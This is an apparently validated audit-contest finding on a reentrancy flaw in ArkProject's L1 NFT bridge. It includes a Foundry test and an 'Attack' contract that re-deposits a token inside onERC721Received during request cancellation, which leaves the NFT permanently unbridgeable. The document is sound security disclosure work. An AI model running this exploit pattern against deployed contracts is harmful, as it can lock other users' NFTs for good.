ArkProject: NFT Bridge
ArkProject
NFTBridge
60,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Re-entrancy in `Bridge.sol` can make an NFT stuck in L1 forever, but withdrawable on L2 bridge

sammy

Summary

An attack can be performed on the L1 bridge, such that an NFT gets stuck on the L1 bridge, but is withdrawable and useable on L2. When this NFT is bridged back to L1, it won't be withdrawable or useable on L1.

Vulnerability Details

On the L1 bridge, if a NFT bridge request fails on L2, the bridge owner can start the cancellation of the request using the startRequestCancellation() function in Bridge.sol :

function startRequestCancellation(
uint256[] memory payload,
uint256 nonce
) external onlyOwner {
IStarknetMessaging(_starknetCoreAddress).startL1ToL2MessageCancellation(
snaddress.unwrap(_starklaneL2Address),
felt252.unwrap(_starklaneL2Selector),
payload,
nonce
);
Request memory req = Protocol.requestDeserialize(payload, 0);
emit CancelRequestStarted(req.hash, block.timestamp);
}

After the cancellation is started, anyone can call cancelRequest() function in Bridge.sol after a certain period to finalize the request cancellation :

function cancelRequest(
uint256[] memory payload,
uint256 nonce
) external {
IStarknetMessaging(_starknetCoreAddress).cancelL1ToL2Message(
snaddress.unwrap(_starklaneL2Address),
felt252.unwrap(_starklaneL2Selector),
payload,
nonce
);
Request memory req = Protocol.requestDeserialize(payload, 0);
_cancelRequest(req);
emit CancelRequestCompleted(req.hash, block.timestamp);
}

This function cancels the message on the starknetCore contract and sends all the escrowed NFTs to the owner of the NFTs using the _cancelRequest() function, which subsequently calls the _withdrawFromEscrow() function of Escrow.sol.

function _cancelRequest(Request memory req) internal {
uint256 header = felt252.unwrap(req.header);
CollectionType ctype = Protocol.collectionTypeFromHeader(header);
address collectionL1 = req.collectionL1;
for (uint256 i = 0; i < req.tokenIds.length; i++) {
uint256 id = req.tokenIds[i];
_withdrawFromEscrow(ctype, collectionL1, req.ownerL1, id);
}
}
function _withdrawFromEscrow(
CollectionType collectionType,
address collection,
address to,
uint256 id
)
internal
returns (bool)
{
if (!_isEscrowed(collection, id)) {
return false;
}
​
address from = address(this);
​
if (collectionType == CollectionType.ERC721) {
IERC721(collection).safeTransferFrom(from, to, id);
} else {
// TODO:
// Check here if the token supply is currently 0.
IERC1155(collection).safeTransferFrom(from, to, id, 1, "");
}
​
_escrow[collection][id] = address(0x0);
​
return true;
}

As you can see, in the _withdrawFromEscrow() function, the IERC721(collection).safeTransferFrom(from, to, id) function is used to transfer the NFTs back to the owner.

The safeTransferFrom() function, makes an external call to the to address, if it is a contract. This makes it possible for the to contract to execute some arbitrary logic before the transaction is completed.

Consider the following scenario :

  1. A NFT owner creates a deposit request for 1 NFT, and purposely sets the parameters such that the withdrawal fails on L2, for eg : setting ownerL2 to an invalid starknet address.

  2. The bridge request fails on L2, and L1 bridge owner calls startRequestCancellation() on L1 bridge.

  3. After the wait time passes, the NFT owner calls cancelRequest() on L1 bridge, which eventually calls safeTransferFrom() function and the onERC721Received() function of the NFT owner contract is called.

  4. In the onERC721Received(), the NFT owner sets the logic so that it calls the depositTokens() function of Bridge.sol and deposits the NFT that it just received to the escrow, therefore creating an L1 to L2 bridge request for the NFT. This sets _escrow[collection][tokenId] to a non-zero value :

function _depositIntoEscrow(
CollectionType collectionType,
address collection,
uint256[] memory ids
)
internal
{
assert(ids.length > 0);
​
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
​
if (collectionType == CollectionType.ERC721) {
IERC721(collection).transferFrom(msg.sender, address(this), id);
} else {
// TODO: check the supply is exactly one.
// (this is the low level call to verify if a contract has some function).
// (but it's better to check with supported interfaces? It's 2 calls instead
// of one where we control the fail.)
//(bool success, bytes memory data) = contractAddress.call("");
IERC1155(collection).safeTransferFrom(msg.sender, address(this), id, 1, "");
}
​
_escrow[collection][id] = msg.sender;
}
}

However, when the execution continues in _withdrawFromEscrow() after the onERC721Received() function executes, the _escrow[collection][tokenId] is set to zero.

_escrow[collection][id] = address(0x0);

This means that the contract state reflects that the NFT is not escrowed in L1 bridge, however, the deposit request has been created, and the NFT owner can successfully withdraw the NFT on L2 now.

Now, when a user tries to bridge this NFT from L2 to L1, the L2 bridge will successfully execute the request. However, withdrawTokens() on the L1 bridge will revert as isEscrowed will be false. There isn't any way to withdraw the tokens on either L1 or L2 after this, and the NFTs are forever lost.

Impact

High - The user can freely use the NFT on L2, and even sell it to another user on L2. When the new owner tries to bridge the NFT back to L1, the bridge request will fail and the NFT will get stuck forever in both L2 AND L1, along with any other tokens that were a part of the L2 to L1 bridge request.

Proof of Code

function test_POC() public {
uint256[] memory ids = new uint256[](1);
ids[0] = 5;
​
Attack nftOwner = new Attack(Starklane(payable(bridge)));
​
address(nftOwner).call{value: 30005}("");
​
IERC721MintRangeFree(erc721C1).mintRangeFree(address(nftOwner), 0, 10);
​
vm.recordLogs();
​
nftOwner.deposit(0x1, erc721C1, Cairo.snaddressWrap(0x1), ids, false);
​
Vm.Log[] memory logs = vm.getRecordedLogs();
​
Vm.Log memory logMessageTol2 = logs[2];
​
(uint256[] memory payload, uint256 nonce, ) = abi.decode(
logMessageTol2.data,
(uint256[], uint256, uint256)
);
​
Request memory req = Protocol.requestDeserialize(payload, 0);
​
IStarklane(bridge).startRequestCancellation(payload, nonce);
​
IStarklane(bridge).cancelRequest(payload, nonce);
​
// the owner of the NFT is still the bridge
assert(IERC721(erc721C1).ownerOf(ids[0]) == bridge);
​
// yet, isEscrowed shows false
assert(Starklane(payable(bridge))._isEscrowed(erc721C1, 5) == false);
​
}
// SPDX-License-Identifier: MIT
​
pragma solidity ^0.8.0;
​
import "./Bridge.sol";
​
contract Attack {
Starklane public bridge;
​
IERC721 collection;
snaddress owner;
uint256[] idss;
​
constructor(Starklane _bridge) {
bridge = _bridge;
}
​
function deposit(
uint256 salt,
address collectionL1,
snaddress ownerL2,
uint256[] calldata ids,
bool useAutoBurn
) external {
collection = IERC721(collectionL1);
owner = ownerL2;
collection.setApprovalForAll(address(bridge), true);
bridge.depositTokens{value : 1}(salt, collectionL1, ownerL2, ids, useAutoBurn);
}
​
function cancel(uint256[] memory payload, uint256 nonce) external {
bridge.cancelRequest(payload, nonce);
}
​
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
idss.push(tokenId);
collection.setApprovalForAll(address(bridge), true);
bridge.depositTokens{value : 1}(0, address(collection), owner, idss, false);
return IERC721Receiver.onERC721Received.selector;
}
​
receive() external payable {}
}

To run the test, place the Attack contract in a new file and import it in Bridge.t.sol. After this, copy the test_POC() snippet in Bridge.t.sol.

Note: the isEscrowed() function in Escrow.sol has been changed to public for this test. This has no effect except that we can check if the NFT is escrowed in the contract or not.

Run forge test --match-test "test_POC" in the command line.

Tools Used

Foundry

Recommendations

Use Re-entrancy guard

Updates

Lead Judging Commences

n0kto Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-withdraw-reentrancy-creates-unbridgeable-tokens

Impact: - NFT already bridged won’t be bridgeable anymore without being stuck. Likelyhood: Low. - Attackers will corrupt their own tokens, deploying a risky contract interacting with an upgradable proxy. They have to buy and sell them without real benefits, except being mean. Some really specific and rare scenario can also trigger that bug.

Appeal created

sammy Submitter
11 months ago
n0kto Lead Judge
11 months ago
n0kto Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-withdraw-reentrancy-creates-unbridgeable-tokens

Impact: - NFT already bridged won’t be bridgeable anymore without being stuck. Likelyhood: Low. - Attackers will corrupt their own tokens, deploying a risky contract interacting with an upgradable proxy. They have to buy and sell them without real benefits, except being mean. Some really specific and rare scenario can also trigger that bug.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.